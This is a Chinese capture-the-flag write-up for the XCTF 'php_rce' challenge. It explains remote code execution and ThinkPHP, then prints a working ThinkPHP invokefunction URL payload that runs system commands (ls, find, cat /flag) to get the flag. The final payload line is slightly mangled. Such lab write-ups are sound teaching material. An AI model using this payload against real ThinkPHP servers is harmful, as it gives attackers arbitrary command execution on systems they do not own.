攻防世界-web高階區-php_rce
前置知識
rce(遠端程式碼執行漏洞)
1. 什麼是遠端程式碼執行漏洞
遠端命令/程式碼執行漏洞,簡稱RCE漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。RCE分為遠端命令執行ping和遠端程式碼執行evel。
2. 漏洞產生的根本原因
伺服器沒有針對執行函式做過濾,導致在沒有指定絕對路徑的情況下就執行命令。
遠端程式碼執行的漏洞
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)
ls檢視
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
上一級 ls ../
根目錄下 ls /
查詢flag find / -name "flag"
發現 flag開啟flag cat /flag
Think PHP介紹
ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初,2007年元旦正式更名為ThinkPHP,並且遵循Apache2開源協議釋出。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的效能和至簡的程式碼的同時,也注重易用性。並且擁有眾多原創功能和特性,在社群團隊的積極參與下,在易用性、擴充套件性和效能方面不斷優化和改進。
ThinkPHP是一個快速、相容而且簡單的輕量級國產PHP開發框架,誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協議釋出,從Struts結構移植過來並做了改進和完善,同時也借鑑了國外很多優秀的框架和模式,使用面向物件的開發結構和MVC模式,融合了Struts的思想和TagLib(標籤庫)、RoR的ORM對映和ActiveRecord模式。
存在遠端控制漏洞
解題過程
關鍵路徑
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
在url後新增?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
發現flag檔案
在url後新增?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=cat /flag
獲得flag